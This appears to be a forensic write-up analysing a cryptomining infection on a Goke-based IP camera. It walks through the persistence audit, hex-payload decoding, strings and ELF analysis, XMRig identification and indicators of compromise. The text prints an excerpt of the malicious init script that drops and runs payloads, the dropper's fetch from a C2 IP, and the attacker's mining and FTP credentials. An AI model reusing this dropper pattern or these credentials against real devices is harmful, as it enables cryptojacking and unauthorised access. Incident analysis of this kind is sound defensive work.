Goal: Understand what the device IS, not just what it runs.
| Check | Command | What we learned |
|---|---|---|
| Kernel | uname -a |
Linux 3.4.43-gk armv6l, built Apr 2017 |
| CPU info | cat /proc/cpuinfo |
ARM1176JZF-S, Goke GK7102 |
| Memory | cat /proc/meminfo |
41 MB total, ~18 MB free |
| Storage | cat /proc/mtd |
JFFS2 on mtdblock3 |
| Users | cat /etc/passwd |
root, default (no password hash!) |
| Processes | ps aux |
ipc_server, onvif, telnetd, watchdog + suspicious entries |
| Network | netstat -tlnp |
80 (HTTP), 554 (RTSP), 8080 (ONVIF), 23 (telnet) |
| Shell history | cat /root/.ash_history |
All investigation commands logged - found in JFFS2 dump |
Goal: Find how malware (or any unexpected software) survives reboots.
/etc/init.d/ → System V init scripts
/etc/crontab → (did not exist)
/etc/inittab → BusyBox init configuration
/mnt/mtd/ipc/run → Custom boot script (runs after init scripts)
$ ls -la /etc/init.d/S98test
-rwxrw-rw- 1 root root 10234 Aug 22 2023 S98testRed flags:
- World-writable (rw-rw-rw-) - any process can modify it
- Name
test- deliberately deceptive, not a service name - Size 10,234 bytes - far too large for a simple init script
- Date Aug 22 2023 - 34 months old, no other file dates match
NORMAL MALWARE
======== =======
#!/bin/sh #!/bin/sh
# Start telnet daemon echo -ne '\x7F\x45\x4C\x46...' > /tmp/dl
telnetd -l /bin/sh & echo -ne '\x23\x21\x2F\x62...' > /tmp/r
chmod 777 /tmp/dl /tmp/r
ping wait loop
/tmp/r &
Goal: Extract and identify the embedded binary payloads.
The echo -ne '\xNN\xNN...' syntax writes raw bytes. Each \xNN is one byte in hex.
hex_str = r'\x7F\x45\x4C\x46\x01\x01\x01\x00...'
binary = bytes(eval('b"' + hex_str.replace('"', '').replace("'", '').strip() + '"'))
open('dl.bin', 'wb').write(binary)$ file dl.bin
dl.bin: ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV),
statically linked, strippedThe file command reads the ELF magic bytes and header to identify:
- 32-bit - not 64-bit
- LSB - little-endian byte order (ARM default on Linux)
- ARM - target CPU architecture
- Statically linked - no shared library dependencies
- Stripped - debugging symbols removed (anti-analysis)
Goal: Understand program behavior without disassembling.
$ strings dl.bin
GET /omm HTTP/1.0
HOST: 86.38.203.214
Connection: close
./omm
NIF
GCC: (Buildroot 2017.05) 4.9.4
ARM926EJ-SWhy strings works: Compilers store literal string constants in the binary's .rodata section. strings scans for printable ASCII sequences and prints them. Before ANY disassembler, always run strings first.
| String | Forensic meaning |
|---|---|
GET /omm HTTP/1.0 |
HTTP downloader - fetches a file from a web server |
86.38.203.214 |
C2 server IP address |
Connection: close |
HTTP/1.0 behavior - single request per connection |
./omm |
Output filename - saves to current directory |
NIF |
Response validation - checks if server returned valid data |
Buildroot 2017.05 |
Compilation environment - embedded Linux build system |
ARM926EJ-S |
Target CPU of dropper binary (compiled for ARMv5TEJ; actual SoC is Goke GK7102 ARM1176JZF-S ARMv6) |
From these strings alone, we can reconstruct the program logic:
socket() → connect("86.38.203.214", 80) →
write("GET /omm HTTP/1.0\r\nHOST: 86.38.203.214\r\nConnection: close\r\n\r\n") →
read() loop → write() to "./omm" → close()Goal: Understand the executable format: entry point, segments, target.
import struct
data = open('dl.bin', 'rb').read()
# Verify ELF magic
assert data[:4] == b'\x7fELF'
# Parse the 32-bit ELF header (little-endian)
e_type, e_machine, _, e_entry, e_phoff, e_shoff, e_flags, \
e_ehsize, e_phentsize, e_phnum, e_shentsize, e_shnum, e_shstrndx = \
struct.unpack_from('<HHIIIIIHHHHHH', data, 16)
print(f'Type: {"executable" if e_type == 2 else "shared"}')
print(f'Machine: {e_machine} (40=ARM)')
print(f'Entry point: 0x{e_entry:08x}')
print(f'Segments: {e_phnum}')Offset Size Name Description
─────────────────────────────────────────
0x00 16 e_ident Magic + class + endianness + ABI
0x10 2 e_type 2=ET_EXEC, 3=ET_DYN
0x12 2 e_machine 40=ARM, 62=x86_64
0x18 4 e_entry Virtual address of first instruction
0x1C 4 e_phoff Program Header Table file offset
0x20 4 e_shoff Section Header Table file offset
0x2E 2 e_phnum Number of program headers
0x32 2 e_shnum Number of section headers
The binary has NO PT_INTERP segment (which would specify the dynamic linker). This means:
- No dependency on
/lib/ld-linux.so.3or any.sofiles - Runs on any Linux kernel version
- Cannot be stopped by deleting shared libraries
- Larger file size, but operates independently
Goal: Identify unknown software from its command-line arguments.
The runner script launches:
/bin/omm -device-name=hi_$macaddr -accept-tos \
-email=hwansna@gmail.com \
-password=Y_rLkZXgn3BQ02lRFV6E5| Flag | Common Software | Purpose |
|---|---|---|
-device-name |
XMRig | Worker/rig identifier for pool dashboard |
-accept-tos |
XMRig | Pool Terms of Service acceptance |
-email |
XMRig, ccminer | Pool account login |
-password |
XMRig | Worker password or API key |
| Malware family | Would have these flags | Matches? |
|---|---|---|
| Mirai | -t <ip> (DDoS target) |
✗ No attack target |
| Gafgyt | -p <port> -m <method> (DDoS method) |
✗ No DDoS params |
| Tsunami/Kaiten | -s <server> (IRC server) |
✗ No IRC connection |
| Hajime | No command flags (all config compiled-in) | ✗ Uses flags |
| BrickerBot | No flags (single-purpose) | ✗ Uses flags |
- Expected size: 2,222,096 bytes
- This is ~2.1 MB - the exact size of a statically-linked XMRig ARM build
- Mirai bots are ~100 KB, shells are ~40 KB
- Only cryptominers with OpenSSL are this large
Conclusion: XMRig Monero miner, build for ARM926EJ-S, using statically-linked toolchain.
Goal: Understand the persistence and resilience mechanisms.
The second hex dump starts with \x23\x21\x2F\x62\x69\x6E\x2F\x73\x68:
\x23=#\x21=!\x2F\x62\x69\x6E\x2F\x73\x68=/bin/sh
This is the shebang - the first two bytes of any shell script.
hex_runner = r'\x23\x21\x2F\x62...'
script = bytes(eval('b"' + hex_runner.replace('"', '').replace("'", '').strip() + '"'))
print(script.decode('utf-8'))- Device fingerprinting - MAC address → unique worker ID
- Silent operation - all output redirected to /dev/null
- Integrity check - file size verified before launch
- Auto-recovery - deleted/corrupted binary re-downloaded in <4 seconds
- Dual transport - HTTP primary, FTP fallback
- Infinite loop - runs until the system dies
Goal: Produce actionable indicators for detection and blocking.
86.38.203.214:80 HTTP GET /omm
86.38.203.214:21 FTP (pwn:XAUob5EHu7M54iyD)
/etc/init.d/S98test (world-writable, contains hex payloads)
/tmp/dl (ARM ELF downloader, 1924 bytes)
/tmp/r (runner shell script)
/bin/omm (XMRig miner, 2222096 bytes)
Process: /bin/omm -device-name=hi_* -email=hwansna@gmail.com
Cron/loop: sleep 4 → launch → size check → re-download
Connection: TCP to 86.38.203.214:80 (HTTP) or :21 (FTP)
Email: hwansna@gmail.com
FTP: pwn / XAUob5EHu7M54iyD
Pool key: Y_rLkZXgn3BQ02lRFV6E5
| # | Technique | What it found |
|---|---|---|
| 1 | Persistence audit | S98test: world-writable, hex payloads, deceptive name |
| 2 | Hex dump decode | Extracted ARM ELF binary and shell script |
| 3 | String extraction | C2 IP, HTTP request, compiler, target CPU |
| 4 | ELF header parse | Architecture (ARMv5TE), entry point, static linking |
| 5 | Flag analysis | XMRig miner, pool credentials, attacker email |
| 6 | Infection chain | Initial access → boot persistence → payload deploy → mining |